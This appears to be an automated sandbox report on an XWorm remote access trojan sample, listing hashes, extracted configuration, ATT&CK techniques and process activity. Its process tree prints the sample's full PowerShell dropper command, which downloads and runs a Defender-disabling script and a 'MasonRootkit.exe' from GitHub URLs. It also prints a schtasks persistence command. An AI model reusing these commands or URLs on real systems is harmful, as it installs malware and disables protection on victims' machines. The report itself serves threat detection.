xworm | 5b653d9ea95075ea952b923d37e91be40839557f4cf8b2377514ddf9b87de3e8

General

Target

MasonClient.exe
Size

154KB
MD5

7d808e886ceceac50433176d38872344
SHA1

5c94426cb6e7cd3351b6864b7a92b651bcaaec5b
SHA256

5b653d9ea95075ea952b923d37e91be40839557f4cf8b2377514ddf9b87de3e8
SHA512

f4c1efc58ce8a4bc7d9e2eb5ec93892943cc718e825fc7094599ead926c9e95c2e8aafe3f0c0892c06792394a9664ad5370714b5a0f03ee1508ab1bceec0fecb
SSDEEP

3072:Zhh64XFzyb0S/XbOJzOOOOOOOHOOOOOOO/OOOOOOOp:rXXAbyOOOOOOOHOOOOOOO/OOOOOOO

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe

exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

xworm

Attributes

install_file
MasonUSB.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/848-49-0x000000001AD20000-0x000000001AD32000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2608	powershell.exe
6	2608	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2608	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
2560	MasonClient.exe
2364	MasonClient.exe
1088	MasonClient.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	raw.githubusercontent.com
9	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2844	schtasks.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2608	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	848	MasonClient.exe
Token: SeDebugPrivilege	2608	powershell.exe
Token: SeDebugPrivilege	2560	MasonClient.exe
Token: SeDebugPrivilege	2364	MasonClient.exe
Token: SeDebugPrivilege	1088	MasonClient.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 848 wrote to memory of 2608	848	MasonClient.exe	30
PID 848 wrote to memory of 2608	848	MasonClient.exe	30
PID 848 wrote to memory of 2608	848	MasonClient.exe	30
PID 848 wrote to memory of 2844	848	MasonClient.exe	32
PID 848 wrote to memory of 2844	848	MasonClient.exe	32
PID 848 wrote to memory of 2844	848	MasonClient.exe	32
PID 352 wrote to memory of 2560	352	taskeng.exe	36
PID 352 wrote to memory of 2560	352	taskeng.exe	36
PID 352 wrote to memory of 2560	352	taskeng.exe	36
PID 352 wrote to memory of 2364	352	taskeng.exe	37
PID 352 wrote to memory of 2364	352	taskeng.exe	37
PID 352 wrote to memory of 2364	352	taskeng.exe	37
PID 352 wrote to memory of 1088	352	taskeng.exe	38
PID 352 wrote to memory of 1088	352	taskeng.exe	38
PID 352 wrote to memory of 1088	352	taskeng.exe	38

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\MasonClient.exe
"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2608
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MasonClient" /tr "C:\Users\Admin\AppData\Roaming\MasonClient.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2844

C:\Windows\system32\taskeng.exe
taskeng.exe {AAA38C3B-DB13-4FCB-AC0F-EFFC97B72BC3} S-1-5-21-1163522206-1469769407-485553996-1000:PJCSDMRP\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:352
- C:\Users\Admin\AppData\Roaming\MasonClient.exe
  C:\Users\Admin\AppData\Roaming\MasonClient.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2560
- C:\Users\Admin\AppData\Roaming\MasonClient.exe
  C:\Users\Admin\AppData\Roaming\MasonClient.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2364
- C:\Users\Admin\AppData\Roaming\MasonClient.exe
  C:\Users\Admin\AppData\Roaming\MasonClient.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1088

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
71KB

MD5
83142242e97b8953c386f988aa694e4a

SHA1
833ed12fc15b356136dcdd27c61a50f59c5c7d50

SHA256
d72761e1a334a754ce8250e3af7ea4bf25301040929fd88cf9e50b4a9197d755

SHA512
bb6da177bd16d163f377d9b4c63f6d535804137887684c113cc2f643ceab4f34338c06b5a29213c23d375e95d22ef417eac928822dfb3688ce9e2de9d5242d10

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarC681.tmp

Filesize
183KB

MD5
109cab5505f5e065b63d01361467a83b

SHA1
4ed78955b9272a9ed689b51bf2bf4a86a25e53fc

SHA256
ea6b7f51e85835c09259d9475a7d246c3e764ad67c449673f9dc97172c351673

SHA512
753a6da5d6889dd52f40208e37f2b8c185805ef81148682b269fff5aa84a46d710fe0ebfe05bce625da2e801e1c26745998a41266fa36bf47bc088a224d730cc

Download Submit
C:\Users\Admin\AppData\Roaming\MasonClient.exe

Filesize
154KB

MD5
7d808e886ceceac50433176d38872344

SHA1
5c94426cb6e7cd3351b6864b7a92b651bcaaec5b

SHA256
5b653d9ea95075ea952b923d37e91be40839557f4cf8b2377514ddf9b87de3e8

SHA512
f4c1efc58ce8a4bc7d9e2eb5ec93892943cc718e825fc7094599ead926c9e95c2e8aafe3f0c0892c06792394a9664ad5370714b5a0f03ee1508ab1bceec0fecb

Download Submit
memory/848-1-0x0000000001320000-0x000000000134E000-memory.dmp

Filesize
184KB

Download
memory/848-55-0x0000000000A30000-0x0000000000AB0000-memory.dmp

Filesize
512KB

Download
memory/848-0-0x000007FEF5FD3000-0x000007FEF5FD4000-memory.dmp

Filesize
4KB

Download
memory/848-11-0x0000000000A30000-0x0000000000AB0000-memory.dmp

Filesize
512KB

Download
memory/848-49-0x000000001AD20000-0x000000001AD32000-memory.dmp

Filesize
72KB

Download
memory/848-50-0x000007FEF5FD3000-0x000007FEF5FD4000-memory.dmp

Filesize
4KB

Download
memory/1088-59-0x0000000000E90000-0x0000000000EBE000-memory.dmp

Filesize
184KB

Download
memory/2364-57-0x00000000001E0000-0x000000000020E000-memory.dmp

Filesize
184KB

Download
memory/2560-54-0x0000000001040000-0x000000000106E000-memory.dmp

Filesize
184KB

Download
memory/2608-9-0x0000000002D60000-0x0000000002DE0000-memory.dmp

Filesize
512KB

Download
memory/2608-8-0x0000000002910000-0x0000000002918000-memory.dmp

Filesize
32KB

Download
memory/2608-7-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2608-6-0x0000000002D60000-0x0000000002DE0000-memory.dmp

Filesize
512KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads